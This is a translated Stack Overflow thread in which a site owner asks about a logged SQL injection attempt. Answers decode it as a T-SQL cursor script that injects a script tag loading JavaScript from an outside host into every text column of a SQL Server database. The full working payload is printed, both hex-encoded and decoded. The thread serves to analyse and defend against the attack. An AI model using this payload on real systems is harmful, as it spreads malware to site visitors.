【问题标题】:SQL injection attack - What is going on here? [duplicate]SQL 注入攻击 - 这是怎么回事? [复制]
【发布时间】:2008-12-15 22:54:13
【问题描述】:

可能重复:
Attempted SQL injection attack - what are they trying to do?

在过去的几个月里,我多次在我的网站上看到这种 SQL 注入尝试。

';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);

浏览完我的代码后,我确信我受到了保护,因为我查询的是内存数据集而不是数据库本身。但是,即使我确定自己受到保护,但我并不完全了解这次攻击尝试发生了什么,并且想弄清楚,这样我就可以避免将来编写可能容易受到攻击的代码。

谁能向我解释一下这些黑客试图用这段代码做什么?

谢谢。

-此代码被附加到查询字符串中,并作为发布数据发送。

【问题讨论】:

  • 如果您已经被感染,请查看此 SO 线程以获得解决问题的帮助:stackoverflow.com/questions/32412/…
  • 看起来你比其他一些网站准备得更充分:blogs.zdnet.com/security/?p=2039
  • 是的,我已经习惯了使用标准 SQL 注入尝试获取网站上的链接的黑客攻击尝试等等。当我看到这个时,我想 - 哇,这很聪明,我最好检查我的来源以找到任何可能的攻击媒介。

标签: sql-injection


【解决方案1】:

注意:我的第一个解释是不正确的,因为我实际上并没有通读整件事......

这就是翻译的意思。它会在您的数据库中搜索 text 或 varchar 列(b.xtype 在 99,35,231,167),然后将 javascript 文件注入到数据库中的所有文本列中。比我最初想象的还要恶意。

DECLARE 
    @T varchar(255),
    @C varchar(4000) 

DECLARE Table_Cursor CURSOR FOR 
    select a.name,b.name 
    from sysobjects a,syscolumns b 
    where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT 
FROM  Table_Cursor 
INTO @T,@C 

WHILE(@@FETCH_STATUS=0) 
BEGIN exec('update ['+@T+'] set ['+@C+']=''">
    </title>
    <script src="http://www2.s800qn.cn/csrss/w.js"></script>
      <!--''+['+@C+'] where '+@C+' not like ''%">
    </title>
    <script src="http://www2.s800qn.cn/csrss/w.js"></script><!--'
'')
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END 

CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

【讨论】:

  • @Jimmy:你是怎么破译这个的?
  • 我在我的 sql server 上运行它:P
  • 如果您想手动操作,每 2 个十六进制数字定义一个数字 0-255,您可以在 ASCII 表中查找。
  • “我在我的 sql server 上运行它” - 哈! +1 勇敢!无论如何,这是一种混淆 SQL 的好方法......
  • 我没有运行最后一个“EXEC(@S);”,当然;)
【解决方案2】:

其实Jimmy,如果你分析这段代码,它会使用游标在数据库的每个文本字段中注入一个对hxxp://www2.s800qn.cn/csrss/w.js 的javascript 引用。

这意味着他们不关心您的数据库,他们想要的是使用您的页面从浏览它的用户那里窃取数据。

该 javascript 链接现已失效,但它可能包含用于获取用户 cookie 的代码。

【讨论】:

  • 是的,我注意到在我发布了我的原始答案后,所以我重写了。谢谢你的收获
  • Cripes... StackOverflow 会自动将任何“blahblah.com”字符串转换为活动链接吗?我知道你不是故意的! :)
【解决方案3】:

进一步了解 Jimmy 的帖子:您还可以使用 hex-ascii 翻译器来获得:

DECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR  FOR select 
a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT 
FROM  Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update ['+@T+'] set ['+@C+']=''"></title><script src="http://www2.s800qn.cn
/csrs/w.js"></script>''+['+@C+'] where '+@C+' not like ''%"></title><script 
src="http://www2.s800qn.cn/csrss/w.js"></script>''')FETCH NEXT FROM  Table_Cursor INTO 
@T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

【讨论】:

  • 我不久前遇到了这个问题,并创建了一个小型 Winforms 应用程序,它也可以为您进行翻译,感谢这里一些 SO 人的帮助:codeplex.com/urldecoder
  • 哇,我从事了所有疯狂的工作,但已经有一个网站从我的谷歌搜索中溜走了……好吧,至少我在这个过程中学到了一些新东西。 8^D
【解决方案4】:

如果您还没有发现这是一个没有针对性的自动攻击,只是为了提供帮助。 所包含的 .js 文件的目的是通过使用您的网站传播恶意软件,其中包含几个主要针对 IE 用户的漏洞。

【讨论】:

    猜你喜欢
    • 2012-08-01
    • 2021-04-13
    • 2013-04-13
    • 2013-02-14
    • 2015-07-29
    • 2012-04-14
    • 2016-03-25
    • 1970-01-01
    • 2011-11-16
    相关资源
    最近更新 更多